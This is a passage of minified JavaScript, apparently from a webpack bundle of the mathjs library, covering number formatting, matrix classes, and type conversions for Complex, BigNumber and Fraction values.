$(e,t){for(var n in t)Z(t,n)&&(e[n]=t[n]);return e}function G(e,t){var n,r,i;if(Array.isArray(e)){if(!Array.isArray(t))return!1;if(e.length!==t.length)return!1;for(r=0,i=e.length;r<i;r++)if(!G(e[r],t[r]))return!1;return!0}if("function"===typeof e)return e===t;if(e instanceof Object){if(Array.isArray(t)||!(t instanceof Object))return!1;for(n in e)if(!(n in t)||!G(e[n],t[n]))return!1;for(n in t)if(!(n in e)||!G(e[n],t[n]))return!1;return!0}return e===t}function Z(e,t){return e&&Object.hasOwnProperty.call(e,t)}var X=["Matrix","Array"],K=["number","BigNumber","Fraction"];function Q(){return(Q=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}var J=function(e){if(e)throw new Error("The global config is readonly. \nPlease create a mathjs instance if you want to change the default configuration. \nExample:\n\n import { create, all } from 'mathjs';\n const mathjs = create(all);\n mathjs.config({ number: 'BigNumber' });\n");return Object.freeze(r)};function ee(e){return"boolean"===typeof e||!!isFinite(e)&&e===Math.round(e)}Q(J,r,{MATRIX_OPTIONS:X,NUMBER_OPTIONS:K});var te=Math.sign||function(e){return e>0?1:e<0?-1:0},ne=Math.log2||function(e){return Math.log(e)/Math.LN2},re=Math.log10||function(e){return Math.log(e)/Math.LN10},ie=(Math.log1p,Math.cbrt||function(e){if(0===e)return e;var t,n=e<0;return n&&(e=-e),t=isFinite(e)?(e/((t=Math.exp(Math.log(e)/3))*t)+2*t)/3:e,n?-t:t}),ae=Math.expm1||function(e){return e>=2e-4||e<=-2e-4?Math.exp(e)-1:e+e*e/2+e*e*e/6};function oe(e,t){if("function"===typeof t)return t(e);if(e===1/0)return"Infinity";if(e===-1/0)return"-Infinity";if(isNaN(e))return"NaN";var n,r="auto";switch(t&&(t.notation&&(r=t.notation),a(t)?n=t:a(t.precision)&&(n=t.precision)),r){case"fixed":return le(e,n);case"exponential":return ue(e,n);case"engineering":return function(e,t){if(isNaN(e)||!isFinite(e))return String(e);var n=fe(se(e),t),r=n.exponent,i=n.coefficients,o=r%3===0?r:r<0?r-3-r%3:r-r%3;if(a(t))for(;t>i.length||r-o+1>i.length;)i.push(0);else for(var s=Math.abs(r-o)-(i.length-1),l=0;l<s;l++)i.push(0);var u=Math.abs(r-o),c=1;for(;u>0;)c++,u--;var f=i.slice(c).join(""),h=a(t)&&f.length||f.match(/[1-9]/)?"."+f:"",d=i.slice(0,c).join("")+h+"e"+(r>=0?"+":"")+o.toString();return n.sign+d}(e,n);case"auto":if(t&&t.exponential&&(void 0!==t.exponential.lower||void 0!==t.exponential.upper)){var i=U(t,(function(e){return e}));return i.exponential=void 0,void 0!==t.exponential.lower&&(i.lowerExp=Math.round(Math.log(t.exponential.lower)/Math.LN10)),void 0!==t.exponential.upper&&(i.upperExp=Math.round(Math.log(t.exponential.upper)/Math.LN10)),console.warn("Deprecation warning: Formatting options exponential.lower and exponential.upper (minimum and maximum value) are replaced with exponential.lowerExp and exponential.upperExp (minimum and maximum exponent) since version 4.0.0. Replace "+JSON.stringify(t)+" with "+JSON.stringify(i)),ce(e,n,i)}return ce(e,n,t&&t).replace(/((\.\d*?)(0+))($|e)/,(function(){var e=arguments[2],t=arguments[4];return"."!==e?e+t:t}));default:throw new Error('Unknown notation "'+r+'". Choose "auto", "exponential", or "fixed".')}}function se(e){var t=String(e).toLowerCase().match(/^0*?(-?)(\d+\.?\d*)(e([+-]?\d+))?$/);if(!t)throw new SyntaxError("Invalid number "+e);var n=t[1],r=t[2],i=parseFloat(t[4]||"0"),a=r.indexOf(".");i+=-1!==a?a-1:r.length-1;var o=r.replace(".","").replace(/^0*/,(function(e){return i-=e.length,""})).replace(/0*$/,"").split("").map((function(e){return parseInt(e)}));return 0===o.length&&(o.push(0),i++),{sign:n,coefficients:o,exponent:i}}function le(e,t){if(isNaN(e)||!isFinite(e))return String(e);var n=se(e),r="number"===typeof t?fe(n,n.exponent+1+t):n,i=r.coefficients,a=r.exponent+1,o=a+(t||0);return i.length<o&&(i=i.concat(he(o-i.length))),a<0&&(i=he(1-a).concat(i),a=1),a<i.length&&i.splice(a,0,0===a?"0.":"."),r.sign+i.join("")}function ue(e,t){if(isNaN(e)||!isFinite(e))return String(e);var n=se(e),r=t?fe(n,t):n,i=r.coefficients,a=r.exponent;i.length<t&&(i=i.concat(he(t-i.length)));var o=i.shift();return r.sign+o+(i.length>0?"."+i.join(""):"")+"e"+(a>=0?"+":"")+a}function ce(e,t,n){if(isNaN(e)||!isFinite(e))return String(e);var r=n&&void 0!==n.lowerExp?n.lowerExp:-3,i=n&&void 0!==n.upperExp?n.upperExp:5,a=se(e),o=t?fe(a,t):a;if(o.exponent<r||o.exponent>=i)return ue(e,t);var s=o.coefficients,l=o.exponent;s.length<t&&(s=s.concat(he(t-s.length))),s=s.concat(he(l-s.length+1+(s.length<t?t-s.length:0)));var u=l>0?l:0;return u<(s=he(-l).concat(s)).length-1&&s.splice(u+1,0,"."),o.sign+s.join("")}function fe(e,t){for(var n={sign:e.sign,coefficients:e.coefficients,exponent:e.exponent},r=n.coefficients;t<=0;)r.unshift(0),n.exponent++,t++;if(r.length>t&&r.splice(t,r.length-t)[0]>=5){var i=t-1;for(r[i]++;10===r[i];)r.pop(),0===i&&(r.unshift(0),n.exponent++,i++),r[--i]++}return n}function he(e){for(var t=[],n=0;n<e;n++)t.push(0);return t}var de=Number.EPSILON||2220446049250313e-31;function pe(e,t,n){if(null===n||void 0===n)return e===t;if(e===t)return!0;if(isNaN(e)||isNaN(t))return!1;if(isFinite(e)&&isFinite(t)){var r=Math.abs(e-t);return r<de||r<=Math.max(Math.abs(e),Math.abs(t))*n}return!1}var me=Math.acosh||function(e){return Math.log(Math.sqrt(e*e-1)+e)},ve=Math.asinh||function(e){return Math.log(Math.sqrt(e*e+1)+e)},ge=Math.atanh||function(e){return Math.log((1+e)/(1-e))/2},ye=(Math.cosh,Math.sinh||function(e){return(Math.exp(e)-Math.exp(-e))/2});Math.tanh;function be(e,t){if("function"===typeof t)return t(e);if(!e.isFinite())return e.isNaN()?"NaN":e.gt(0)?"Infinity":"-Infinity";var n,r="auto";switch(void 0!==t&&(t.notation&&(r=t.notation),"number"===typeof t?n=t:t.precision&&(n=t.precision)),r){case"fixed":return function(e,t){return e.toFixed(t)}(e,n);case"exponential":return xe(e,n);case"engineering":return function(e,t){var n=e.e,r=n%3===0?n:n<0?n-3-n%3:n-n%3,i=e.mul(Math.pow(10,-r)),a=i.toPrecision(t);-1!==a.indexOf("e")&&(a=i.toString());return a+"e"+(n>=0?"+":"")+r.toString()}(e,n);case"auto":if(t&&t.exponential&&(void 0!==t.exponential.lower||void 0!==t.exponential.upper)){var i=U(t,(function(e){return e}));return i.exponential=void 0,void 0!==t.exponential.lower&&(i.lowerExp=Math.round(Math.log(t.exponential.lower)/Math.LN10)),void 0!==t.exponential.upper&&(i.upperExp=Math.round(Math.log(t.exponential.upper)/Math.LN10)),console.warn("Deprecation warning: Formatting options exponential.lower and exponential.upper (minimum and maximum value) are replaced with exponential.lowerExp and exponential.upperExp (minimum and maximum exponent) since version 4.0.0. Replace "+JSON.stringify(t)+" with "+JSON.stringify(i)),be(e,i)}var a=t&&void 0!==t.lowerExp?t.lowerExp:-3,o=t&&void 0!==t.upperExp?t.upperExp:5;if(e.isZero())return"0";var s=e.toSignificantDigits(n),l=s.e;return(l>=a&&l<o?s.toFixed():xe(e,n)).replace(/((\.\d*?)(0+))($|e)/,(function(){var e=arguments[2],t=arguments[4];return"."!==e?e+t:t}));default:throw new Error('Unknown notation "'+r+'". Choose "auto", "exponential", or "fixed".')}}function xe(e,t){return void 0!==t?e.toExponential(t-1):e.toExponential()}function we(e){return(we="function"===typeof Symbol&&"symbol"===typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"===typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function ke(e,t){return"number"===typeof e?oe(e,t):o(e)?be(e,t):function(e){return e&&"object"===we(e)&&"number"===typeof e.s&&"number"===typeof e.n&&"number"===typeof e.d||!1}(e)?t&&"decimal"===t.fraction?e.toString():e.s*e.n+"/"+e.d:Array.isArray(e)?function e(t,n){if(Array.isArray(t)){for(var r="[",i=t.length,a=0;a<i;a++)0!==a&&(r+=", "),r+=e(t[a],n);return r+="]"}return ke(t,n)}(e,t):c(e)?'"'+e+'"':"function"===typeof e?e.syntax?String(e.syntax):"function":e&&"object"===we(e)?"function"===typeof e.format?e.format(t):e&&e.toString(t)!=={}.toString()?e.toString(t):"{"+Object.keys(e).map((function(n){return'"'+n+'": '+ke(e[n],t)})).join(", ")+"}":String(e)}function _e(e,t,n){if(!(this instanceof _e))throw new SyntaxError("Constructor must be called with the new operator");this.actual=e,this.expected=t,this.relation=n,this.message="Dimension mismatch ("+(Array.isArray(e)?"["+e.join(", ")+"]":e)+" "+(this.relation||"!=")+" "+(Array.isArray(t)?"["+t.join(", ")+"]":t)+")",this.stack=(new Error).stack}function Me(e,t,n){if(!(this instanceof Me))throw new SyntaxError("Constructor must be called with the new operator");this.index=e,arguments.length<3?(this.min=0,this.max=t):(this.min=t,this.max=n),void 0!==this.min&&this.index<this.min?this.message="Index out of range ("+this.index+" < "+this.min+")":void 0!==this.max&&this.index>=this.max?this.message="Index out of range ("+this.index+" > "+(this.max-1)+")":this.message="Index out of range ("+this.index+")",this.stack=(new Error).stack}function Se(e){for(var t=[];Array.isArray(e);)t.push(e.length),e=e[0];return t}function Te(e,t){if(0===t.length){if(Array.isArray(e))throw new _e(e.length,0)}else!function e(t,n,r){var i,a=t.length;if(a!==n[r])throw new _e(a,n[r]);if(r<n.length-1){var o=r+1;for(i=0;i<a;i++){var s=t[i];if(!Array.isArray(s))throw new _e(n.length-1,n.length,"<");e(t[i],n,o)}}else for(i=0;i<a;i++)if(Array.isArray(t[i]))throw new _e(n.length+1,n.length,">")}(e,t,0)}function Oe(e,t){if(!a(e)||!ee(e))throw new TypeError("Index must be an integer (value: "+e+")");if(e<0||"number"===typeof t&&e>=t)throw new Me(e,t)}function Ee(e,t,n){if(!Array.isArray(e)||!Array.isArray(t))throw new TypeError("Array expected");if(0===t.length)throw new Error("Resizing to scalar is not supported");return t.forEach((function(e){if(!a(e)||!ee(e)||e<0)throw new TypeError("Invalid size, must contain positive integers (size: "+ke(t)+")")})),function e(t,n,r,i){var a,o,s=t.length,l=n[r],u=Math.min(s,l);if(t.length=l,r<n.length-1){var c=r+1;for(a=0;a<u;a++)o=t[a],Array.isArray(o)||(o=[o],t[a]=o),e(o,n,c,i);for(a=u;a<l;a++)o=[],t[a]=o,e(o,n,c,i)}else{for(a=0;a<u;a++)for(;Array.isArray(t[a]);)t[a]=t[a][0];for(a=u;a<l;a++)t[a]=i}}(e,t,0,void 0!==n?n:0),e}function Ce(e,t){var n,r=Pe(e);function i(e){return e.reduce((function(e,t){return e*t}))}if(!Array.isArray(e)||!Array.isArray(t))throw new TypeError("Array expected");if(0===t.length)throw new _e(0,i(Se(e)),"!=");for(var a=1,o=0;o<t.length;o++)a*=t[o];if(r.length!==a)throw new _e(i(t),i(Se(e)),"!=");try{n=function(e,t){for(var n,r=e,i=t.length-1;i>0;i--){var a=t[i];n=[];for(var o=r.length/a,s=0;s<o;s++)n.push(r.slice(s*a,(s+1)*a));r=n}return r}(r,t)}catch(s){if(s instanceof _e)throw new _e(i(t),i(Se(e)),"!=");throw s}return n}function Ne(e,t,n,r){var i=r||Se(e);if(n)for(var a=0;a<n;a++)e=[e],i.unshift(1);for(e=function e(t,n,r){var i,a;if(Array.isArray(t)){var o=r+1;for(i=0,a=t.length;i<a;i++)t[i]=e(t[i],n,o)}else for(var s=r;s<n;s++)t=[t];return t}(e,t,0);i.length<t;)i.push(1);return e}function Pe(e){if(!Array.isArray(e))return e;var t=[];return e.forEach((function e(n){Array.isArray(n)?n.forEach(e):t.push(n)})),t}function Ae(e,t){for(var n,r=0,i=0;i<e.length;i++){var a=e[i],o=Array.isArray(a);if(0===i&&o&&(r=a.length),o&&a.length!==r)return;var s=o?Ae(a,t):t(a);if(void 0===n)n=s;else if(n!==s)return"mixed"}return n}function ze(e,t,n,r){function i(r){var i=function(e,t){for(var n={},r=0;r<t.length;r++){var i=t[r],a=e[i];void 0!==a&&(n[i]=a)}return n}(r,t.map(De));return function(e,t,n){if(!t.filter((function(e){return!function(e){return e&&"?"===e[0]}(e)})).every((function(e){return void 0!==n[e]}))){var r=t.filter((function(e){return void 0===n[e]}));throw new Error('Cannot create function "'.concat(e,'", ')+"some dependencies are missing: ".concat(r.map((function(e){return'"'.concat(e,'"')})).join(", "),"."))}}(e,t,r),n(i)}return i.isFactory=!0,i.fn=e,i.dependencies=t.slice().sort(),r&&(i.meta=r),i}function De(e){return e&&"?"===e[0]?e.slice(1):e}_e.prototype=new RangeError,_e.prototype.constructor=RangeError,_e.prototype.name="DimensionError",_e.prototype.isDimensionError=!0,Me.prototype=new RangeError,Me.prototype.constructor=RangeError,Me.prototype.name="IndexError",Me.prototype.isIndexError=!0;var Ie=n(8),Re=n.n(Ie);function je(e){return(je="function"===typeof Symbol&&"symbol"===typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"===typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}var Fe=ze("Complex",[],(function(){return Re.a.prototype.type="Complex",Re.a.prototype.isComplex=!0,Re.a.prototype.toJSON=function(){return{mathjs:"Complex",re:this.re,im:this.im}},Re.a.prototype.toPolar=function(){return{r:this.abs(),phi:this.arg()}},Re.a.prototype.format=function(e){var t=this.im,n=this.re,r=oe(this.re,e),i=oe(this.im,e),o=a(e)?e:e?e.precision:null;if(null!==o){var s=Math.pow(10,-o);Math.abs(n/t)<s&&(n=0),Math.abs(t/n)<s&&(t=0)}return 0===t?r:0===n?1===t?"i":-1===t?"-i":i+"i":t<0?-1===t?r+" - i":r+" - "+i.substring(1)+"i":1===t?r+" + i":r+" + "+i+"i"},Re.a.fromPolar=function(e){switch(arguments.length){case 1:var t=arguments[0];if("object"===je(t))return Re()(t);throw new TypeError("Input has to be an object with r and phi keys.");case 2:var n=arguments[0],r=arguments[1];if(a(n)){if(u(r)&&r.hasBase("ANGLE")&&(r=r.toNumber("rad")),a(r))return new Re.a({r:n,phi:r});throw new TypeError("Phi is not a number nor an angle unit.")}throw new TypeError("Radius r is not a number.");default:throw new SyntaxError("Wrong number of arguments in function fromPolar")}},Re.a.prototype.valueOf=Re.a.prototype.toString,Re.a.fromJSON=function(e){return new Re.a(e)},Re.a.compare=function(e,t){return e.re>t.re?1:e.re<t.re?-1:e.im>t.im?1:e.im<t.im?-1:0},Re.a}),{isClass:!0});function Le(e){return(Le="function"===typeof Symbol&&"symbol"===typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"===typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Be(e,t){return function n(){"object"!==Le(n.cache)&&(n.cache={});for(var r=[],i=0;i<arguments.length;i++)r[i]=arguments[i];var a=t?t(r):JSON.stringify(r);return a in n.cache||(n.cache[a]=e.apply(e,r)),n.cache[a]}}Be((function(e){return new e(1).exp()}),He),Be((function(e){return new e(1).plus(new e(5).sqrt()).div(2)}),He);var Ve=Be((function(e){return e.acos(-1)}),He);Be((function(e){return Ve(e).times(2)}),He);function He(e){return e[0].precision}Math.PI,Math.PI,Math.E;var We=n(72),qe=n.n(We),Ye=ze("BigNumber",["?on","config"],(function(e){var t=e.on,n=e.config,r=qe.a.clone({precision:n.precision});return r.prototype.type="BigNumber",r.prototype.isBigNumber=!0,r.prototype.toJSON=function(){return{mathjs:"BigNumber",value:this.toString()}},r.fromJSON=function(e){return new r(e.value)},t&&t("config",(function(e,t){e.precision!==t.precision&&r.config({precision:e.precision})})),r}),{isClass:!0}),Ue=ze("Matrix",[],(function(){function e(){if(!(this instanceof e))throw new SyntaxError("Constructor must be called with the new operator")}return e.prototype.type="Matrix",e.prototype.isMatrix=!0,e.storage=function(e){throw new Error("Matrix.storage is deprecated since v6.0.0. Use the factory function math.matrix instead.")},e.prototype.storage=function(){throw new Error("Cannot invoke storage on a Matrix interface")},e.prototype.datatype=function(){throw new Error("Cannot invoke datatype on a Matrix interface")},e.prototype.create=function(e,t){throw new Error("Cannot invoke create on a Matrix interface")},e.prototype.subset=function(e,t,n){throw new Error("Cannot invoke subset on a Matrix interface")},e.prototype.get=function(e){throw new Error("Cannot invoke get on a Matrix interface")},e.prototype.set=function(e,t,n){throw new Error("Cannot invoke set on a Matrix interface")},e.prototype.resize=function(e,t){throw new Error("Cannot invoke resize on a Matrix interface")},e.prototype.reshape=function(e,t){throw new Error("Cannot invoke reshape on a Matrix interface")},e.prototype.clone=function(){throw new Error("Cannot invoke clone on a Matrix interface")},e.prototype.size=function(){throw new Error("Cannot invoke size on a Matrix interface")},e.prototype.map=function(e,t){throw new Error("Cannot invoke map on a Matrix interface")},e.prototype.forEach=function(e){throw new Error("Cannot invoke forEach on a Matrix interface")},e.prototype.toArray=function(){throw new Error("Cannot invoke toArray on a Matrix interface")},e.prototype.valueOf=function(){throw new Error("Cannot invoke valueOf on a Matrix interface")},e.prototype.format=function(e){throw new Error("Cannot invoke format on a Matrix interface")},e.prototype.toString=function(){throw new Error("Cannot invoke toString on a Matrix interface")},e}),{isClass:!0});$e("fineStructure",.0072973525693),$e("weakMixingAngle",.2229),$e("efimovFactor",22.7),$e("sackurTetrode",-1.16487052358);function $e(e,t){return ze(e,["config","BigNumber"],(function(e){var n=e.config,r=e.BigNumber;return"BigNumber"===n.number?new r(t):t}))}var Ge=n(16),Ze=n.n(Ge),Xe=ze("Fraction",[],(function(){return Ze.a.prototype.type="Fraction",Ze.a.prototype.isFraction=!0,Ze.a.prototype.toJSON=function(){return{mathjs:"Fraction",n:this.s*this.n,d:this.d}},Ze.a.fromJSON=function(e){return new Ze.a(e)},Ze.a}),{isClass:!0}),Ke=ze("DenseMatrix",["Matrix"],(function(e){var t=e.Matrix;function n(e,t){if(!(this instanceof n))throw new SyntaxError("Constructor must be called with the new operator");if(t&&!c(t))throw new Error("Invalid datatype: "+t);if(h(e))"DenseMatrix"===e.type?(this._data=Y(e._data),this._size=Y(e._size),this._datatype=t||e._datatype):(this._data=e.toArray(),this._size=e.size(),this._datatype=t||e._datatype);else if(e&&f(e.data)&&f(e.size))this._data=e.data,this._size=e.size,Te(this._data,this._size),this._datatype=t||e.datatype;else if(f(e))this._data=function e(t){for(var n=0,r=t.length;n<r;n++){var i=t[n];f(i)?t[n]=e(i):i&&!0===i.isMatrix&&(t[n]=e(i.valueOf()))}return t}(e),this._size=Se(this._data),Te(this._data,this._size),this._datatype=t;else{if(e)throw new TypeError("Unsupported type of data ("+W(e)+")");this._data=[],this._size=[0],this._datatype=t}}function r(e,t){if(!g(t))throw new TypeError("Invalid index");if(t.isScalar())return e.get(t.min());var r=t.size();if(r.length!==e._size.length)throw new _e(r.length,e._size.length);for(var i=t.min(),a=t.max(),o=0,s=e._size.length;o<s;o++)Oe(i[o],e._size[o]),Oe(a[o],e._size[o]);return new n(function e(t,n,r,i){var a=i===r-1,o=n.dimension(i);return a?o.map((function(e){return Oe(e,t.length),t[e]})).valueOf():o.map((function(a){Oe(a,t.length);var o=t[a];return e(o,n,r,i+1)})).valueOf()}(e._data,t,r.length,0),e._datatype)}function i(e,t,n,r){if(!t||!0!==t.isIndex)throw new TypeError("Invalid index");var i,a=t.size(),o=t.isScalar();if(h(n)?(i=n.size(),n=n.valueOf()):i=Se(n),o){if(0!==i.length)throw new TypeError("Scalar expected");e.set(t.min(),n,r)}else{if(a.length<e._size.length)throw new _e(a.length,e._size.length,"<");if(i.length<a.length){for(var s=0,u=0;1===a[s]&&1===i[s];)s++;for(;1===a[s];)u++,s++;n=Ne(n,a.length,u,i)}if(!G(a,i))throw new _e(a,i,">");l(e,t.max().map((function(e){return e+1})),r);var c=a.length;!function e(t,n,r,i,a){var o=a===i-1,s=n.dimension(a);o?s.forEach((function(e,n){Oe(e),t[e]=r[n[0]]})):s.forEach((function(o,s){Oe(o),e(t[o],n,r[s[0]],i,a+1)}))}(e._data,t,n,c,0)}return e}function s(e,t,n){if(0===t.length){for(var r=e._data;f(r);)r=r[0];return r}return e._size=t.slice(0),e._data=Ee(e._data,e._size,n),e}function l(e,t,n){for(var r=e._size.slice(0),i=!1;r.length<t.length;)r.push(0),i=!0;for(var a=0,o=t.length;a<o;a++)t[a]>r[a]&&(r[a]=t[a],i=!0);i&&s(e,r,n)}return n.prototype=new t,n.prototype.createDenseMatrix=function(e,t){return new n(e,t)},n.prototype.type="DenseMatrix",n.prototype.isDenseMatrix=!0,n.prototype.getDataType=function(){return Ae(this._data,W)},n.prototype.storage=function(){return"dense"},n.prototype.datatype=function(){return this._datatype},n.prototype.create=function(e,t){return new n(e,t)},n.prototype.subset=function(e,t,n){switch(arguments.length){case 1:return r(this,e);case 2:case 3:return i(this,e,t,n);default:throw new SyntaxError("Wrong number of arguments")}},n.prototype.get=function(e){if(!f(e))throw new TypeError("Array expected");if(e.length!==this._size.length)throw new _e(e.length,this._size.length);for(var t=0;t<e.length;t++)Oe(e[t],this._size[t]);for(var n=this._data,r=0,i=e.length;r<i;r++){var a=e[r];Oe(a,n.length),n=n[a]}return n},n.prototype.set=function(e,t,n){if(!f(e))throw new TypeError("Array expected");if(e.length<this._size.length)throw new _e(e.length,this._size.length,"<");var r,i,a;l(this,e.map((function(e){return e+1})),n);var o=this._data;for(r=0,i=e.length-1;r<i;r++)Oe(a=e[r],o.length),o=o[a];return Oe(a=e[e.length-1],o.length),o[a]=t,this},n.prototype.resize=function(e,t,n){if(!f(e))throw new TypeError("Array expected");return s(n?this.clone():this,e,t)},n.prototype.reshape=function(e,t){var n=t?this.clone():this;return n._data=Ce(n._data,e),n._size=e.slice(0),n},n.prototype.clone=function(){return new n({data:Y(this._data),size:Y(this._size),datatype:this._datatype})},n.prototype.size=function(){return this._size.slice(0)},n.prototype.map=function(e){var t=this,r=function n(r,i){return f(r)?r.map((function(e,t){return n(e,i.concat(t))})):e(r,i,t)}(this._data,[]);return new n(r,void 0!==this._datatype?Ae(r,W):void 0)},n.prototype.forEach=function(e){var t=this;!function n(r,i){f(r)?r.forEach((function(e,t){n(e,i.concat(t))})):e(r,i,t)}(this._data,[])},n.prototype.toArray=function(){return Y(this._data)},n.prototype.valueOf=function(){return this._data},n.prototype.format=function(e){return ke(this._data,e)},n.prototype.toString=function(){return ke(this._data)},n.prototype.toJSON=function(){return{mathjs:"DenseMatrix",data:this._data,size:this._size,datatype:this._datatype}},n.prototype.diagonal=function(e){if(e){if(o(e)&&(e=e.toNumber()),!a(e)||!ee(e))throw new TypeError("The parameter k must be an integer number")}else e=0;for(var t=e>0?e:0,r=e<0?-e:0,i=this._size[0],s=this._size[1],l=Math.min(i-r,s-t),u=[],c=0;c<l;c++)u[c]=this._data[c+r][c+t];return new n({data:u,size:[l],datatype:this._datatype})},n.diagonal=function(e,t,r,i){if(!f(e))throw new TypeError("Array expected, size parameter");if(2!==e.length)throw new Error("Only two dimensions matrix are supported");if(e=e.map((function(e){if(o(e)&&(e=e.toNumber()),!a(e)||!ee(e)||e<1)throw new Error("Size values must be positive integers");return e})),r){if(o(r)&&(r=r.toNumber()),!a(r)||!ee(r))throw new TypeError("The parameter k must be an integer number")}else r=0;var s,l=r>0?r:0,u=r<0?-r:0,c=e[0],d=e[1],p=Math.min(c-u,d-l);if(f(t)){if(t.length!==p)throw new Error("Invalid value array length");s=function(e){return t[e]}}else if(h(t)){var m=t.size();if(1!==m.length||m[0]!==p)throw new Error("Invalid matrix length");s=function(e){return t.get([e])}}else s=function(){return t};i||(i=o(s(0))?s(0).mul(0):0);var v=[];if(e.length>0){v=Ee(v,e,i);for(var g=0;g<p;g++)v[g+u][g+l]=s(g)}return new n({data:v,size:[c,d]})},n.fromJSON=function(e){return new n(e)},n.prototype.swapRows=function(e,t){if(!a(e)||!ee(e)||!a(t)||!ee(t))throw new Error("Row index must be positive integers");if(2!==this._size.length)throw new Error("Only two dimensional matrix is supported");return Oe(e,this._size[0]),Oe(t,this._size[0]),n._swapRows(e,t,this._data),this},n._swapRows=function(e,t,n){var r=n[e];n[e]=n[t],n[t]=r},n}),{isClass:!0}),Qe=n(48),Je=n.n(Qe),et=function(){return et=Je.a.create,Je.a},tt=ze("typed",["?BigNumber","?Complex","?DenseMatrix","?Fraction"],(function(e){var t=e.BigNumber,n=e.Complex,r=e.DenseMatrix,i=e.Fraction,d=et();return d.types=[{name:"number",test:a},{name:"Complex",test:s},{name:"BigNumber",test:o},{name:"Fraction",test:l},{name:"Unit",test:u},{name:"string",test:c},{name:"Chain",test:H},{name:"Array",test:f},{name:"Matrix",test:h},{name:"DenseMatrix",test:p},{name:"SparseMatrix",test:m},{name:"Range",test:v},{name:"Index",test:g},{name:"boolean",test:y},{name:"ResultSet",test:b},{name:"Help",test:x},{name:"function",test:w},{name:"Date",test:k},{name:"RegExp",test:_},{name:"null",test:S},{name:"undefined",test:T},{name:"AccessorNode",test:O},{name:"ArrayNode",test:E},{name:"AssignmentNode",test:C},{name:"BlockNode",test:N},{name:"ConditionalNode",test:P},{name:"ConstantNode",test:A},{name:"FunctionNode",test:D},{name:"FunctionAssignmentNode",test:z},{name:"IndexNode",test:I},{name:"Node",test:R},{name:"ObjectNode",test:j},{name:"OperatorNode",test:F},{name:"ParenthesisNode",test:L},{name:"RangeNode",test:B},{name:"SymbolNode",test:V},{name:"Object",test:M}],d.conversions=[{from:"number",to:"BigNumber",convert:function(e){if(t||nt(e),e.toExponential().replace(/e.*$/,"").replace(/^0\.?0*|\./,"").length>15)throw new TypeError("Cannot implicitly convert a number with >15 significant digits to BigNumber (value: "+e+"). Use function bignumber(x) to convert to BigNumber.");return new t(e)}},{from:"number",to:"Complex",convert:function(e){return n||rt(e),new n(e,0)}},{from:"number",to:"string",convert:function(e){return e+""}},{from:"BigNumber",to:"Complex",convert:function(e){return n||rt(e),new n(e.toNumber(),0)}},{from:"Fraction",to:"BigNumber",convert:function(e){throw new TypeError("Cannot implicitly convert a Fraction to BigNumber or vice versa. Use function bignumber(x) to convert to BigNumber or fraction(x) to convert to Fraction.")}},{from:"Fraction",to:"Complex",convert:function(e){return n||rt(e),new n(e.valueOf(),0)}},{from:"number",to:"Fraction",convert:function(e){i||it(e);var t=new i(e);if(t.valueOf()!==e)throw new TypeError("Cannot implicitly convert a number to a Fraction when there will be a loss of precision (value: "+e+"). Use function fraction(x) to convert to Fraction.");return t}},{from:"string",to:"number",convert:function(e){var t=Number(e);if(isNaN(t))throw new Error('Cannot convert "'+e+'" to a number');return t}},{from:"string",to:"BigNumber",convert:function(e){t||nt(e);try{return new t(e)}catch(n){throw new Error('Cannot convert "'+e+'" to BigNumber')}}},{from:"string",to:"Fraction",convert:function(e){i||it(e);try{return new i(e)}catch(t){throw new Error('Cannot convert "'+e+'" to Fraction')}}},{from:"string",to:"Complex",convert:function(e){n||rt(e);try{return new n(e)}catch(t){throw new Error('Cannot convert "'+e+'" to Complex')}}},{from:"boolean",to:"number",convert:function(e){return+e}},{from:"boolean",to:"BigNumber",convert:function(e){return t||nt(e),new t(+e)}},{from:"boolean",to:"Fraction",convert:function(e){return i||it(e),new i(+e)}},{from:"boolean",to:"string",convert:function(e){return String(e)}},{from:"Array",to:"Matrix",convert:function(e){return r||function(){throw new Error("Cannot convert array into a Matrix: no class 'DenseMatrix' provided")}(),new r(e)}},{from:"Matrix",to:"Array",convert:function(e){return e.valueOf()}}],d}));function nt(e){throw new Error("Cannot convert value ".concat(e," into a BigNumber: no class 'BigNumber' provided"))}function rt(e){throw new Error("Cannot convert value ".concat(e," into a Complex number: no class 'Complex' provided"))}function it(e){throw new Error("Cannot convert value ".concat(e," into a Fraction, no class 'Fraction' provided."))}function at(e){for(var t=0;t<e.length;t++)if(d(e[t]))return!0;return!1}function ot(e,t){h(e)&&(e=e.valueOf());for(var n=0,r=e.length;n<r;n++){var i=e[n];Array.isArray(i)?ot(i,t):t(i)}}function st(e,t,n){return e&&"function"===typeof e.map?e.map((function(e){return st(e,t,n)})):t(e)}function lt(e,t,n){var r=Array.isArray(e)?Se(e):e.size();if(t<0||t>=r.length)throw new Me(t,r.length);return h(e)?e.create(ut(e.valueOf(),t,n)):ut(e,t,n)}function ut(e,t,n){var r,i,a,o;if(t<=0){if(Array.isArray(e[0])){for(o=function(e){var t,n,r=e.length,i=e[0].length,a=[];for(n=0;n<i;n++){var o=[];for(t=0;t<r;t++)o.push(e[t][n]);a.push(o)}return a}(e),i=[],r=0;r<o.length;r++)i[r]=ut(o[r],t-1,n);return i}for(a=e[0],r=1;r<e.length;r++)a=n(a,e[r]);return a}for(i=[],r=0;r<e.length;r++)i[r]=ut(e[r],t-1,n);return i}var ct="number";function ft(e){return e<0}function ht(e){return e>0}function dt(e){return 0===e}function pt(e){return Number.isNaN(e)}ft.signature=ct,ht.signature=ct,dt.signature=ct,pt.signature=ct;function mt(e,t,n){if(null===n||void 0===n)return e.eq(t);if(e.eq(t))return!0;if(e.isNaN()||t.isNaN())return!1;if(e.isFinite()&&t.isFinite()){var r=e.minus(t).abs();if(r.isZero())return!0;var i=e.constructor.max(e.abs(),t.abs());return r.lte(i.times(n))}return!1}var vt=ze("equalScalar",["typed","config"],(function(e){var t=e.typed,n=e.config,r=t("equalScalar",{"boolean, boolean":function(e,t){return e===t},"number, number":function(e,t){return pe(e,t,n.epsilon)},"BigNumber, BigNumber":function(e,t){return e.eq(t)||mt(e,t,n.epsilon)},"Fraction, 